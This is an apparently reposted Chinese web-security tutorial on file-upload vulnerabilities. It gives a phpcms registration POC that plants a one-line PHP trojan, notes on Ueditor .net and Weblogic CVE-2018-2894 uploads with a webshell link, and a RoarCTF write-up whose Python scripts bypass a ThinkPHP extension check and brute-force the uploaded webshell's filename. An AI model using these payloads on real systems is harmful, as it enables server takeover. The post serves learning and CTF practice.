web安全文件上传CMS&编辑器&中间件&CTF
Posted Nu1LL+
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全文件上传CMS&编辑器&中间件&CTF相关的知识,希望对你有一定的参考价值。
前言
这里主要演示不同层面上的文件上传漏洞:CMS、编辑器、中间件、CTF,针对不同层面上的漏洞思路上也会有所差异,比如CMS、编辑器、中间件就比较偏向实战,其中编辑器是我之前实战确实遇到过的,CTF就骚操作比较多
一、CMS类思路—phpcms
参考:https://www.cnblogs.com/sqyysec/p/6725870.html
我们老老实实跟着操作,点击注册页面,进行抓包
在本地创建一个txt文本,写入一句话木马
POC
siteid=1&modelid=11&username=seven1&password=seven123456
&email=seven@qq.com
&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>
&dosubmit=1&protocol=
二、编辑器类思路—Ueditor
Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。
http://fex.baidu.com/ueditor/
大概就长这个样纸,目录一般是 www.xxxxx.com/ueditor/
参考我的实战:https://blog.csdn.net/qq_36241198/article/details/115947582
也可以参考:https://blog.csdn.net/sinat_40293958/article/details/107208040
三、中间件类思路—Weblogic
Weblogic 任意文件上传漏洞(CVE-2018-2894),Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
直接参考:https://blog.csdn.net/qq_36241198/article/details/115249731
跟着操作就完事了
webshell:https://github.com/tennc/webshell
四、CTF比赛类思路
[RoarCTF 2019]Simple Upload
打开页面源码如下
<?php
namespace Home\\Controller;
use Think\\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \\Think\\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
根据审计代码发现,应该是考察的thinkphp文件上传漏洞,参考ThinkPHP开发手册:http://document.thinkphp.cn/manual_3_2.html#upload
得知默认上传路径是/home/index/upload,thinkPHP里面的upload()函数在不传参数的情况下是批量上传的,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传可以绕过文件后缀的检测,再参考一下大佬博客:https://www.yuque.com/u390550/kdmol2/nc4gu5
可以看到使用的是uniqid来生成文件名,因为这里的后缀命名方式运用了uniqid函数它是基于微妙的当前时间来更改文件名,两个同时上传生成的文件名相差不会太远。
import requests
url='http://8471da5a-8c39-4476-a5ea-0228c30e414c.node3.buuoj.cn/index.php/home/index/upload'
file1={'file':open('1.txt','r')}
file2={'file[]':open('1.php','r')}
r = requests.post(url,files = file1)
print(r.text)
r = requests.post(url,files = file2)
print(r.text)
r = requests.post(url, files = file1)
print(r.text)
upload()函数不传参数时为多文件上传,整个$_FILES
数组的文件都会上传保存,所以这个时候我们上传第一个txt文件,再上传第三个txt文件,那么我们就可以知道我们上传第二个php木马文件在这个时间区域内的所在区间,就可以爆破出我们的木马文件
exp如下
import requests
# {"url":"\\/Public\\/Uploads\\/2021-06-15\\/60c8c091019f0.txt","success":1}
# {"url":"\\/Public\\/Uploads\\/","success":1}
# {"url":"\\/Public\\/Uploads\\/2021-06-15\\/60c8c091443bc.txt","success":1}
s = "1234567890abcdef"
for i in s:
for j in s:
for k in s:
for l in s:
url = "http://21643662-1273-47a3-adbc-30f5f493814e.node3.buuoj.cn/Public/Uploads/2021-06-15/60c8c0910%s%s%s%s.php"%(i,j,k,l)
r = requests.get(url)
print(url)
if r.status_code != 404:
print(url)
break
以上是关于web安全文件上传CMS&编辑器&中间件&CTF的主要内容,如果未能解决你的问题,请参考以下文章